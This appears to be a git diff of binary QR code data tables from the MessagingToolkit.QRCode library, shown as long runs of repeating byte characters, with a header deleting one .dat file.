-//////0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#$#$#$#"!"!"!"!"!         - - - -0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - -0/0/0/0/.-.-.-.-,+,+,+,+,+,+,+*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - - - -0/0/0/0/.-.-.-.-,+,+,+,+*)*)*)*)*)*)*)*)('('('('&%&%&%&%$#$#$#$#"!"!"!"!"!"!"!"!         - - - - - - - -~~}}aabbccdd$$##""!!nnooppqqXYYZZ[[\A@@??>>=())**++,qppoonnm `aabbccd9887766501122334ihhggffehiijjkklmnnooppqQQRRSSTTHHGGFFEE!!""##$$xxwwvvuu YYZZ[[\\@@??>>==))**++,,ppoonnmmaabbccdd$$##""!!ffgghhii$$##""!!IJJKKLLMPOONNMML~~}}|QRRSSTTUHGGFFEED!""##$$%xwwvvuut YZZ[[\\]||{{zzyyeeffgghh rrssttuu\]]^^__`=<<;;::9,--..//0mllkkjjideeffggh5443322145566778eddccbbalmmnnoopqrrssttuUUVVWWXXDDCCBBAA%%&&''((ttssrrqq - - ]]^^__``<<;;::99--..//00llkkjjiieeffgghh jjkkllmm MNNOOPPQLKKJJIIH !|{{zzyyxUVVWWXXYDCCBBAA@%&&''(()tssrrqqp - - ]^^__``axxwwvvuu iijjkkllvvww}}~~`aabbccd9887766501122334ihhggffehiijjkkl100//..-899::;;>==))**++,,ppoonnmmaabbccdd8877665511223344hhggffeeiijjkkllnnooppqqQRRSSTTUHGGFFEED!""##$$%xwwvvuut YZZ[[\\]@??>>==<)**++,,-poonnmmlabbccddettssrrqq - - mmnnoopp -deeffggh5443322145566778eddccbbalmmnnoop-,,++**)<==>>??@]\\[[ZZY tuuvvwwx - - ~ ]]^^__``<<;;::99--..//00llkkjjiieeffgghh4433221155667788ddccbbaammnnoopprrssttuuUVVWWXXYDCCBBAA@%&&''(()tssrrqqp - - ]^^__``a<;;::998-..//001lkkjjiiheffgghhi,++**))(ppoonnmm - - qqrrsstt ~~}}|{zy - hiijjkkl100//..-899::;;>==<)**++,,-poonnmmlabbccdde8776655412233445hggffeedijjkkllm(''&&%%$llkkjjii uuvvwwxx - - xwwvvuutlmmnnoop-,,++**)<==>>??@]\\[[ZZY tuuvvwwx%$$##""!DEEFFGGHUTTSSRRQ|}}~~ yxwwvvuueeffgghh4433221155667788ddccbbaammnnoopp,,++**))==>>??@@\\[[ZZYY uuvvwwxx - -  -]^^__``a<;;::998-..//001lkkjjiiheffgghhi4332211056677889dccbbaa` mnnooppq$##""!! hhggffeeyyzz{{|| - - tssrrqqp - - pqqrrsst)((''&&%@AABBCCDYXXWWVVUxyyzz{{|! HIIJJKKLQPPOONNM~~} - - ttssrrqqiijjkkll00//..--99::;;<<``__^^]] - - qqrrsstt((''&&%%AABBCCDDXXWWVVUUyyzz{{||~~}}|{zy - abbccdde8776655412233445hggffeedijjkkllm0//..--,9::;;<<=`__^^]]\ - - qrrssttu ddccbbaa}}~~poonnmml tuuvvwwx%$$##""!DEEFFGGHUTTSSRRQ|}}~~LMMNNOOPMLLKKJJI }wwvvuut ppoonnmmmmnnoopp,,++**))==>>??@@\\[[ZZYY uuvvwwxx$$##""!!EEFFGGHHTTSSRRQQ}}~~ xwwvvuuteffgghhi4332211056677889dccbbaa` mnnooppq,++**))(=>>??@@A\[[ZZYYX uvvwwxxy``__^^]]~~}}lkkjjiihxyyzz{{|! HIIJJKKLQPPOONNM~~}PQQRRSSTIHHGGFFE !!""##$tssrrqqpllkkjjii - - qqrrsstt((''&&%%AABBCCDDXXWWVVUUyyzz{{|| IIJJKKLLPPOONNMM~~}} - - tssrrqqpijjkkllm0//..--,9::;;<<=`__^^]]\ - - qrrssttu(''&&%%$ABBCCDDEXWWVVUUTyzz{{||}\\[[ZZYY wwvvuutthggffeed|}}~~LMMNNOOPMLLKKJJI }||{{zzyTUUVVWWXEDDCCBBA$%%&&''(poonnmmlhhggffee uuvvwwxx$$##""!!EEFFGGHHTTSSRRQQ}}~~MMNNOOPPLLKKJJII wwvvuuttpoonnmml mnnooppq,++**))(=>>??@@A\[[ZZYYX uvvwwxxy$##""!! EFFGGHHITSSRRQQP}~~ XXWWVVUU!!""##$$ssrrqqpp !!""cba`__^^~~}PQQRRSSTIHHGGFFE !!""##$yxxwwvvu XYYZZ[[\A@@??>>=())**++,lkkjjiih !!"dcba`__^yyzz{{|| IIJJKKLLPPOONNMM~~}}QQRRSSTTHHGGFFEE!!""##$$ssrrqqpplkkjjiih - - qrrssttu(''&&%%$ABBCCDDEXWWVVUUTyzz{{||} IJJKKLLMPOONNMML~~}}w - - TTSSRRQQ%%&&''((oonnmmll##$$%%&&]]\\[[ZZ }||{{zzyTUUVVWWXEDDCCBBA$%%&&''(uttssrrq - - \]]^^__`=<<;;::9,--..//0hggffee_"##$$%%&^]]\\[[Z}}~~MMNNOOPPLLKKJJII ||{{zzyyUUVVWWXXDDCCBBAA%%&&''((oonnmmllhggffeed uvvwwxxy$##""!! EFFGGHHITSSRRQQP}~~MNNOOPPQLKKJJIIH !wvvuuttsPPOONNMM))**++,,kkjjiihh''(())**YYXXWWVV !!""##$yxxwwvvu XYYZZ[[\A@@??>>=())**++,qppoonnm `aabbccd9887766501122334_^^]]\\[&''(())*ZYYXXWWV~~}}QQRRSSTTHHGGFFEE!!""##$$xxwwvvuu YYZZ[[\\@@??>>==))**++,,kkjjiihh !!""cba`__^^yzz{{||} IJJKKLLMPOONNMML~~}}|QRRSSTTUHGGFFEED!""##$$%srrqqppo -LLKKJJII--..//00ggffee__++,,--..UUTTSSRR$%%&&''(uttssrrq - - \]]^^__`=<<;;::9,--..//0mllkkjjideeffggh5443322145566778[ZZYYXXW*++,,--.VUUTTSSR ||{{zzyyUUVVWWXXDDCCBBAA%%&&''((ttssrrqq - - ]]^^__``<<;;::99--..//00ggffee__##$$%%&&]]\\[[ZZ}~~MNNOOPPQLKKJJIIH !|{{zzyyxUVVWWXXYDCCBBAA@%&&''(()onnmmllk - HHGGFFEE11223344^^]]\\[[//556677QQPPOONN())**++,qppoonnm `aabbccd9887766501122334ihhggffehiijjkkl100//..-899::;;>==))**++,,ppoonnmmaabbccdd8877665511223344^^]]\\[[''(())**YYXXWWVV~~}}|QRRSSTTUHGGFFEED!""##$$%xwwvvuut YZZ[[\\]@??>>==<)**++,,-kjjiihhgDDCCBBAA55667788ZZYYXXWW8899::;;MMLKJIHG,--..//0mllkkjjideeffggh5443322145566778eddccbbalmmnnoop-,,++**)<==>>??@SRRQQPPO78899::;NMMLKJIH%%&&''((ttssrrqq - - ]]^^__``<<;;::99--..//00llkkjjiieeffgghh4433221155667788ZZYYXXWW++,,--..UUTTSSRR !|{{zzyyxUVVWWXXYDCCBBAA@%&&''(()tssrrqqp - - ]^^__``a<;;::998-..//001gffee__^@@??>>==99::;;<>??GFFEEDDC01122334ihhggffehiijjkkl100//..-899::;;>?GGFFEEDD))**++,,ppoonnmmaabbccdd8877665511223344hhggffeeiijjkkll00//..--99::;;<>==<)**++,,-poonnmmlabbccdde8776655412233445^]]\\[[Z<<;;::99==>>??@@RRQQPPOO@@AABBCCCBBAA@@?45566778eddccbbalmmnnoop-,,++**)<==>>??@]\\[[ZZY tuuvvwwx%$$##""!DEEFFGGHFEEDDCCB?@@AABBCCCBBAA@@--..//00llkkjjiieeffgghh4433221155667788ddccbbaammnnoopp,,++**))==>>??@@RRQQPPOO8899::;;MMLKJIHG%&&''(()tssrrqqp - - ]^^__``a<;;::998-..//001lkkjjiiheffgghhi4332211056677889ZYYXXWWV !!""#88776655AABBCCDDNNMMGGFFDDEEFFGG?>>==<<;899::;;CDDEEFFG??>>==<<11223344hhggffeeiijjkkll00//..--99::;;<<``__^^]] - - qqrrsstt((''&&%%AABBCCDDNNMMGGFF<<==>>??GFFEEDDC)**++,,-poonnmmlabbccdde8776655412233445hggffeedijjkkllm0//..--,9::;;<<=VUUTTSSR#$$%%&&'44332211EEFFGGHHEEDDCCBBMMNNOOPP;::99887<==>>??@]\\[[ZZY tuuvvwwx%$$##""!DEEFFGGHUTTSSRRQ|}}~~LMMNNOOP>==<<;;:GMMNNOOP;;::998855667788ddccbbaammnnoopp,,++**))==>>??@@\\[[ZZYY uuvvwwxx$$##""!!EEFFGGHHEEDDCCBB@@AABBCCCBBAA@@?-..//001lkkjjiiheffgghhi4332211056677889dccbbaa` mnnooppq,++**))(=>>??@@ARQQPPOON'(())**+00//..--IIJJKKLLAA@@??>>QQRRSSTT76655432@AABBCCDYXXWWVVUxyyzz{{|! HIIJJKKLQPPOONNM~~}PQQRRSST:9988776PQQRRSST7766554399::;;<<``__^^]] - - qqrrsstt((''&&%%AABBCCDDXXWWVVUUyyzz{{|| IIJJKKLLAA@@??>>DDEEFFGG?>>==<<;12233445hggffeedijjkkllm0//..--,9::;;<<=`__^^]]\ - - qrrssttu(''&&%%$ABBCCDDENMMGGFFE+,,--../,,++**))MMNNOOPP==<<;;::UUVVWWXX10//..--DEEFFGGHUTTSSRRQ|}}~~LMMNNOOPMLLKKJJI }||{{zzyTUUVVWWX655//..-TUUVVWWX210//..-==>>??@@\\[[ZZYY uuvvwwxx$$##""!!EEFFGGHHTTSSRRQQ}}~~MMNNOOPP==<<;;::MMNNOOPP;::9988756677889dccbbaa` mnnooppq,++**))(=>>??@@A\[[ZZYYX uvvwwxxy$##""!! EFFGGHHIEDDCCBBA/5566778((''&&%%QQRRSSTT99887766YYZZ[[\\,,++**))HIIJJKKLQPPOONNM~~}PQQRRSSTIHHGGFFE !!""##$yxxwwvvu XYYZZ[[\-,,++**)XYYZZ[[\-,,++**)AABBCCDDXXWWVVUUyyzz{{|| IIJJKKLLPPOONNMM~~}}QQRRSSTT99887766QQRRSSTT766554329::;;<<=`__^^]]\ - - qrrssttu(''&&%%$ABBCCDDEXWWVVUUTyzz{{||} IJJKKLLMA@@??>>=899::;;<$$##""!!UUVVWWXX55//..--]]^^__ee((''&&%%LMMNNOOPMLLKKJJI }||{{zzyTUUVVWWXEDDCCBBA$%%&&''(uttssrrq - - \]]^^__`)((''&&%\]]^^__e)((''&&%EEFFGGHHTTSSRRQQ}}~~MMNNOOPPLLKKJJII ||{{zzyyUUVVWWXX55//..--UUVVWWXX10//..--=>>??@@A\[[ZZYYX uvvwwxxy$##""!! EFFGGHHITSSRRQQP}~~MNNOOPPQ=<<;;::9<==>>??@ YYZZ[[\\,,++**))ffgghhii$$##""!!PQQRRSSTIHHGGFFE !!""##$yxxwwvvu XYYZZ[[\A@@??>>=())**++,qppoonnm `aabbccd%$$##""!effgghhi%$$##""!IIJJKKLLPPOONNMM~~}}QQRRSSTTHHGGFFEE!!""##$$xxwwvvuu YYZZ[[\\,,++**))YYZZ[[\\,,++**))ABBCCDDEXWWVVUUTyzz{{||} IJJKKLLMPOONNMML~~}}|QRRSSTTU98877665@AABBCCD]]^^__``((''&&%%jjkkllmm TUUVVWWXEDDCCBBA$%%&&''(uttssrrq - - \]]^^__`=<<;;::9,--..//0mllkkjjideeffggh! ijjkkllm! MMNNOOPPLLKKJJII ||{{zzyyUUVVWWXXDDCCBBAA%%&&''((ttssrrqq - - ]]^^__``((''&&%%]]^^__ee((''&&%%EFFGGHHITSSRRQQP}~~MNNOOPPQLKKJJIIH !|{{zzyyxUVVWWXXY5//..--,DEEFFGGMMNNOOPPQ::99887766778899ccbbaa`` nnooppqq++**))((>>??@@AA[[ZZYYXXvvwwxxyy##""!! FFGGHHIIDDCCBBAAAABBCCDDBAA@@??>.//00112kjjiihhgfgghhiij3221100/6778899:cbbaa``_ -nooppqqr mllkkjji QRRSSTTU66554321::;;<<==__^^]]\\ - - rrssttuu''&&%%$$BBCCDDEEWWVVUUTTzz{{||}}JJKKLLMM@@??>>==EEFFGGMM>==<<;;:23344556gffeeddcjkkllmmn/..--,,+:;;<<==>_^^]]\\[ - rssttuuv - - -ihhggffeUVVWWXXY0//..--,>>??@@AA[[ZZYYXXvvwwxxyy##""!! FFGGHHIISSRRQQPP~~NNOOPPQQ<<;;::99NNOOPPQQ:99887766778899:cbbaa``_ -nooppqqr+**))(('>??@@AAB[ZZYYXXWvwwxxyyz - eddccbbaYZZ[[\\],++**))(BBCCDDEEWWVVUUTTzz{{||}}JJKKLLMMOONNMMLL~~}}||RRSSTTUU88776655RRSSTTUU65543210:;;<<==>_^^]]\\[ - rssttuuv'&&%%$$#BCCDDEEFWVVUUTTSz{{||}}~a``__^^]]^^__eef(''&&%%$FFGGHHIISSRRQQPP~~NNOOPPQQKKJJIIHH !!{{zzyyxxVVWWXXYY//..--,,VVWWXXYY//..--,,>??@@AAB[ZZYYXXWvwwxxyyz#""!! FGGHHIIJSRRQQPPO~xxw]\\[[ZZY fgghhiij$##""!! JJKKLLMMOONNMMLL~~}}||RRSSTTUUGGFFEEDD""##$$%%wwvvuutt ZZ[[\\]]++**))((ZZ[[\\]]++**))((BCCDDEEFWVVUUTTSz{{||}}~JKKLLMMNONNMMLLKwvvuuttsYXXWWVVU !!""##$jkkllmmn NNOOPPQQKKJJIIHH !!{{zzyyxxVVWWXXYYCCBBAA@@&&''(())ssrrqqpp - - ^^__``aa''&&%%$$^^__eeff''&&%%$$FGGHHIIJSRRQQPPO~NOOPPQQRKJJIIHHG !!"srrqqppo !!""#UTTSSRRQ$%%&&''(nooppqqrRRSSTTUUGGFFEEDD""##$$%%wwvvuutt ZZ[[\\]]??>>==<<**++,,--oonnmmllbbccddee##""!! gghhiijj##""!! JKKLLMMNONNMMLLK~~}}||{RSSTTUUVGFFEEDDC"##$$%%&onnmmllk#$$%%&&'QPPOONNM())**++,rssttuuvVVWWXXYYCCBBAA@@&&''(())ssrrqqpp - - ^^__``aa;;::9988..//0011kkjjiihhffgghhiikkllmmnnNOOPPQQRKJJIIHHG !!"{zzyyxxwVWWXXYYZCBBAA@@?&''(())*kjjiihhg'(())**+MLLKKJJI,--..//0vww}}~~ZZ[[\\]]??>>==<<**++,,--oonnmmllbbccddee7766554422334455ggffeeddjjkkllmmooppqqrrRSSTTUUVGFFEEDDC"##$$%%&wvvuutts Z[[\\]]^?>>==<<;*++,,--.gffee__^+,,--../IHHGGFFE01122334~ - -^^__``aa;;::9988..//0011kkjjiihhffgghhii3322110066778899ccbbaa`` nnooppqqssttuuvvVWWXXYYZCBBAA@@?&''(())*srrqqppo - - ^__``aab;::99887.//00112^]]\\[[Z/5566778EDDCCBBA45566778~}}|{zyx bbccddee7766554422334455ggffeeddjjkkllmm//..--,,::;;<<==__^^]]\\ - - rrssttuu ww}}~~ Z[[\\]]^?>>==<<;*++,,--.onnmmllkbccddeef7665544323344556ZYYXXWWV899::;;>=899::;;>??@@AA[[ZZYYXXvvwwxxyy - - ~~ - - ^__``aab;::99887.//00112kjjiihhgfgghhiij3221100/6778899:VUUTTSSR<==>>??@=<<;;::9<==>>??@ssrrqqppjjkkllmm//..--,,::;;<<==__^^]]\\ - - rrssttuu''&&%%$$BBCCDDEEWWVVUUTTzz{{||}}}}|{zyxw bccddeef7665544323344556gffeeddcjkkllmmn/..--,,+:;;<<==>RQQPPOON@AABBCCD98877665@AABBCCDoonnmmll nnooppqq++**))((>>??@@AA[[ZZYYXXvvwwxxyy##""!! FFGGHHIISSRRQQPP~~ - -wvvuuttsfgghhiij3221100/6778899:cbbaa``_ -nooppqqr+**))(('>??@@AABNMMGGFFEDEEFFGGM54433221DEEFFGGHkkjjiihh - - rrssttuu''&&%%$$BBCCDDEEWWVVUUTTzz{{||}}JJKKLLMMOONNMMLL~~}}ww srrqqppojkkllmmn/..--,,+:;;<<==>_^^]]\\[ - rssttuuv'&&%%$$#BCCDDEEFEDDCCBBAMNNOOPPQ100//..-HIIJJKKLggffeedcvvwwxxyy##""!! FFGGHHIISSRRQQPP~~NNOOPPQQKKJJIIHH !!vvuuttssonnmmllk -nooppqqr+**))(('>??@@AAB[ZZYYXXWvwwxxyyz#""!! FGGHHIIJA@@??>>=QRRSSTTU-,,++**)LMMNNOOPba`__^^]zz{{||}}JJKKLLMMOONNMMLL~~}}||RRSSTTUUGGFFEEDD""##$$%%rrqqppookjjiihhg - rssttuuv'&&%%$$#BCCDDEEFWVVUUTTSz{{||}}~JKKLLMMN=<<;;::9UVVWWXXY)((''&&%PQQRRSST]\\[[ZZY~~NNOOPPQQKKJJIIHH !!{{zzyyxxVVWWXXYYCCBBAA@@&&''(())nnmmllkkgffeedcbvwwxxyyz#""!! FGGHHIIJSRRQQPPO~NOOPPQQR98877665YZZ[[\\]%$$##""!TUUVVWWXYXXWWVVU~~}}||RRSSTTUUGGFFEEDD""##$$%%wwvvuutt ZZ[[\\]]??>>==<<**++,,--jjiihhgg !!""##a`__^^]]z{{||}}~JKKLLMMNONNMMLLK~~}}||{RSSTTUUV5//..--,]^^__eef! XYYZZ[[\UTTSSRRQ !!{{zzyyxxVVWWXXYYCCBBAA@@&&''(())ssrrqqpp - - ^^__``aa;;::9988..//0011ffee__^^$$%%&&''\\[[ZZYY~NOOPPQQRKJJIIHHG !!"{zzyyxxwVWWXXYYZ,++**))(fgghhiij\]]^^__`QPPOONNM""##$$%%wwvvuutt ZZ[[\\]]??>>==<<**++,,--oonnmmllbbccddee7766554422334455]]\\[[ZZ(())**++XXWWVVUU~~}}||{RSSTTUUVGFFEEDDC"##$$%%&wvvuutts Z[[\\]]^(''&&%%$jkkllmmn`aabbccdMLKJIHGG&&''(())ssrrqqpp - - ^^__``aa;;::9988..//0011kkjjiihhffgghhii3322110066778899YYXXWWVV,,--..//TTSSRRQQ !!"{zzyyxxwVWWXXYYZCBBAA@@?&''(())*srrqqppo - - ^__``aab$##""!! nooppqqrdeeffgghFFEEDDCC**++,,--oonnmmllbbccddee7766554422334455ggffeeddjjkkllmm//..--,,::;;<<==UUTTSSRR55667788PPOONNMM"##$$%%&wvvuutts Z[[\\]]^?>>==<<;*++,,--.onnmmllkbccddeef rssttuuu hiijjkklBBAA@@??..//0011kkjjiihhffgghhii3322110066778899ccbbaa`` nnooppqq++**))((>>??@@AAQQPPOONN99::;;<>==<<;;22334455ggffeeddjjkkllmm//..--,,::;;<<==__^^]]\\ - - rrssttuu''&&%%$$BBCCDDEEMMGGFFEE==>>??@@FEEDDCCB*++,,--.onnmmllkbccddeef7665544323344556gffeeddcjkkllmmnqppoonnm - - pqqrrssttuuZHAbr˂ptlJnXv`J`ےJbdQfH~˙ے`JXJtArdfpvfHrXQJ`ہdrtnvpZHAbrbtl|ZdQXv`QJ`ےAJbdQ`vXnr˂p|ZdQbnXv`fpvbHAZJltH~fے`JXQZHAےtlJnXv`bHAZpbdQZ|vpfHZHAbۉlJtf~HnXv`ˑ˂rXbdQZ|vXnr˂p`JXQArd|ے`JXQZHAbtArdf~HbHAZpZ|df`vXQr˂p|ZdQnXv`fpv㒐bHAAJltfH~˙ے`JXJtAdbtlf~HbHAZpZ|dvpfZHAbtlJf~HnXv`p˂rbdQZ|`vXnr˂p`JXQrtArdf~H˂rXQdrtA~f``JXQArd|fpvf~HQJ`ےdrtAvpfHZHAbr˂pZdQbtr˂pے`JXQ|ZdQbXv`f˂brtAJlnvpZHAbbtlf~HnrXQJ`Zp˂bdQZ|f`vXQr˂p|ZdQJtArdfpv˂rtAJlH~fے`JXQtArdfpvfHfXQJ`ےdrtAvpfZHAbbtl|ZdQbXv`fJ`ےJbdQvXnr˂pZdQbtnXv`fpvbHAZpJlt~f``JXQZHAے`lJtZHAbr˂ptlJ~HfHAZdtbdQfH~˙ے`JXJtArdfpvےHArXQJ`ہdrtnvpZHAbbtl|ZdQnXv`pbHAZdtbdQ`vXnr˂p|ZdQbnXv`pvn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XQrAے`lJtA~HfpJ`ےrtAJlvpfHvXnAbے`f۝`vp|drtbAdZ|yz{|}~~}|{zIIIJJJJJJJJJJJJJJJJJJJJJJJ \ No newline at end of file diff --git a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_1.dat b/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_1.dat deleted file mode 100644 index ac9d23b..0000000 --- a/output/Libraries/MessagingToolkit.QRCode/MessagingToolkit.QRCode.qrcode_data.qrv28_1.dat +++ /dev/null @@ -1,257 +0,0 @@ -~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwwwwwwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklklklklklijijijijijijijijghghghghghghghghgfefefefefefefefefefefefcdcdcdcdcdcdcdcdabababababababab_`_`_`_`______`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGEFEFEFEFEFEFEFEFEFEFEFEDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:7878787878787878787878785656565656565656343434343434343412121212121212120/0/0////0/0/0/0.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('&%&%&%&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwxwxwxwwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopopopopopopmnmnmnmnmnmnmnmnklklklklklklklklkjijijijijijijijijijijijghghghghghghghghefefefefefefefefefefefefcdcdcdcdcdcdcdcdabababababababab_`_`_`_``_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGHGHGHGHGEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:787878787878787878787878565656565656565634343434343434341212121212121212///0/0/0/0/0/0/0.-.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)*)*)*)('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyzyzyxwwwwwwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststststststqrqrqrqrqrqrqrqropopopopopopopoponmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghghefefefefefefefefefefefefcdcdcdcdcdcdcdcdabababababababab_`______`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGGGGGGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:787878787878787878787878565656565656565634343434343434341212121212121212/0/0/0/0/0/0/0/0.-.-.-.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            ~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyzyzyxwxwwxwxwxwxwxwxwxwxuvuvuvuvuvuvuvuvststststststststsrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghghefefefefefefefefefefefefcdcdcdcdcdcdcdcdababababababa`_``_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGHGHGHGGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:787878787878787878787876565656565656565634343434343434341212121212121212/0/0/0/0/0/0/0//.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            ~}~}~}~}~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{|{zyzyzyzyxwxwwwwwwxwxwxwxwxwxwxwuuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghghefefefefefefefefefefefefcdcdcdcdcdcdcdcbabababab_`_`____`_`_`_`_`_`_____^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIJIJIHGGGGGGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?@=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<;<;<;<;:9:9:9:9:9:9:9:9:787878787878787856565656565656565656565634343434343434341212121212121212/0/0/0/0////0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!            ~}~}~}~}~}~}~}~}~}~}~}~}|{|{|{|{|{|{|{zyzyzyzyzywxwxwxwxwxwxwxwxuuuuuvuvuvuvuvuvuvuvuvuvststststststststqrqrqrqrqrqrqrqrqrqrqrqropopopopopopopopmnmnmnmnmnmnmnmnmnmnmnmnklklklklklklklklijijijijijijijijijijijijghghghghghghghghefefefefefefefefefefefefcdcdcdcdabababababababab__`_`_`_`_`_`_`_`_`_`_`_^]^]^]^]^]^]^]^]\[\[\[\[\[\[\[\[ZYZYZYZYZYZYZYZYZYZYZYZYXWXWXWXWXWXWXWXWVUVUVUVUVUVUVUVUVUVUVUVUTSTSTSTSTSTSTSTSRQRQRQRQRQRQRQRQRQRQRQRQPOPOPOPOPOPOPOPONMNMNMNMNMNMNMNMNMNMNMNMLKLKLKLKLKLKLKLKJIJIJIJIJIJIHGHGGHGHGHGHGHGHGHGHEFEFEFEFEFEFEFEFCDCDCDCDCDCDCDCDCDCDCDCDABABABABABABABAB?@?@?@?@?@?@?@?@?@?@?@?>=>=>=>=>=>=>=>=>;<;<;<;<;<;<;<;<9:9:9:9:9:9:9:9:9:9:9:9:787878787878787856565656565656565656565634343434343434341212121212121212/0/0/0/00/0/0/0/.-.-.-.-.-.-.-.-,+,+,+,+,+,+,+,+,+,+,+,+*)*)*)*)*)*)*)*)('('('('('('('('('('('('&%&%&%&%&%&%&%&%$#$#$#$#$#$#$#$#$#$#$#$#"!"!"!"!"!"!"!"!           